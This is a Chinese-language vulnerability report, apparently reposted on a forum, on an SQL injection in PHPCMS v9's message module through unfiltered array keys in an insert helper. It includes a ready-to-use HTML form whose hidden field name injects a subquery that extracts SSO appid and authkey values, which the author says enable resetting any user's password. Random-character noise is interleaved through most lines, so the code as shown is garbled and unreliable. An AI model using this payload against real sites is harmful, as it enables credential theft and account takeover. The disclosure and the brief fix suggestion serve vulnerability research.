|
|
简要描述:# l7 a' j: \! ~/ _2 q6 S
+ J& @% x7 ]! e3 {第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。$ Q) |2 b; D, P* G6 @% q" O {( \
4 M+ V4 o( P* }3 O- Q( I明天再更新下一个漏洞。/ `3 @# m# J# f# w; {$ _
详细说明:
/ Y" r* g( [) Q$ J4 A2 ]0 }在/phpcms9/phpcms/modules/message/index.php中有代码如下:
3 A( m3 z0 J. T. }+ i7 v$ `- @4 @% X' @7 d r5 `- d
$messageid = $this->message_db->insert($_POST['info'],true);
) i" m7 ]& G, T$ h+ u8 h6 x" ?, W4 Y( T: [
% ^, @+ H' V. G2 @ y7 e
insert方法是key value的,代码如下:
; S! R8 @: p/ K$ o; i, w P1 j3 J+ U) k/ Z
public function insert($data, $table, $return_insert_id = false, $replace = false) {' I& v! G7 i: F( ]8 D7 T
if(!is_array( $data ) || $table == '' || count($data) == 0) {
7 @$ c: f. {5 W' i4 v return false;" s9 E) T2 D6 B& v; G* o2 H
}
7 J: Y3 |+ U" V [) {3 C" P C - L7 X0 z% z: H9 M* T
$fielddata = array_keys($data);
' ~3 a3 o& o3 ^. A, ^, {5 I $valuedata = array_values($data);
5 H# L# ^$ X: V array_walk($fielddata, array($this, 'add_special_char'));
+ z5 x# n4 Q9 n: _, S: y, K/ r array_walk($valuedata, array($this, 'escape_string'));
" ]: V. V# b8 S- m5 O1 z3 K. T- i+ E 4 k0 A6 t5 ^$ k) F
$field = implode (',', $fielddata);# q, y2 S" P) \9 \$ ?7 m
$value = implode (',', $valuedata);
) I! e, [6 B9 ~% d. S6 e0 k- G+ [4 n( u8 _
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';" `. c- e# x4 L7 ^3 Q
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
" L" F {& Q( R: E $return = $this->execute($sql);- @* m7 q- m" `
return $return_insert_id ? $this->insert_id() : $return;
( k2 G; w: z M! _ }4 g7 s0 s# o0 X
, r7 f4 I/ Y* Y" T! w
- u* S: t+ M# M& y, d2 d嗯,很遗憾的是
" V3 Q: P& ?4 ?( r: o4 z4 N3 n& a) n
array_walk($fielddata, array($this, 'add_special_char'));6 Z! ]) \* a% Y& _
( f4 Y5 v ~ A6 K; X* K" L
, b, P( W9 w3 c; Z中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
' N! f, y2 \% w+ d0 v. g! [( _# j! C3 h) t) S5 z
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
! R, }2 C) R0 b. {+ q( R$ Y( Z" K) @( n8 D/ k9 ^
漏洞证明:
! K( ]4 ]: T6 N& `! T读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
+ P9 o# j+ ^: ]. w! |) [0 ]5 J: ~3 F7 Q+ a B1 B7 r6 x" I
7 R/ Y1 _9 Q, o( @表单如下:用户名什么的得自己改一改。
0 k- M6 e! d2 A+ C<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
. |) T5 e* ]2 x2 W( k) r<table width="100%" cellspacing="0" class="table_form">( g* D3 F+ L& _3 T) ]
<tr>" z7 X% a, Z8 x
<th>标 题:</th>* W: [ ?/ L# l* A
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
4 D! H0 \+ I4 p8 \) b+ `</tr>
( f) W& j3 D- H+ M<tr>
" K, x/ k6 E, d2 W. E2 m4 B<th>内 容:</th>
6 {7 {% s8 s8 G; }' h1 n<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td> e( G# u7 @# O8 C9 J- l
</tr># c( C* }5 R' E; _
<input type="hidden" name="info[replyid]" value="2" />
" @8 B1 S( l/ A' ]<input type="hidden" name="info[send_to_id]" value="cc" /> ( Z% N" C G$ P! ?
<input type="hidden" name="info[send_from_id]" value="hh"># \; y6 P' W1 U
<!-- 漏洞的利用重点在这里开始 -->1 x7 n2 W* g9 }- E) I6 N
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ) k5 {) z6 u' h7 I
<!-- 漏洞的利用重点在这里结束 -->/ S, m8 Q* B1 [* i) t
<tr>' u3 e1 x: i3 t; x6 \6 c
<th>验证码:</th>2 {: k/ \0 ]1 f3 L% L
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>" W$ ^, G$ Z% G& X
</tr>! e+ }. y: p3 @9 y( S5 u* [
<tr>
: n3 [8 g, U, {6 R( g<td></td>
5 q$ ^1 H8 ^* F/ ~$ W) d<td colspan="2"><label>) R4 a* o( b7 M F1 N
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>; j8 v( v1 m3 Y0 C# J
</label></td>1 z9 J( L6 a* @: e5 M6 I
</tr>" X0 j C7 B! b3 I1 Y: h: r
</table>5 M/ Y- ]8 r+ `2 e) R
</form>. K) U* b; z; q0 n' D- j
在add_special_char函数内对key做过滤就可以了。
8 ~7 ~& a( w# L3 R
: ~$ ?6 i& v" p: ^) ]: r
( k5 i9 i+ L$ }" J3 M
0 A; U% \( F5 A% m( \3 P |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|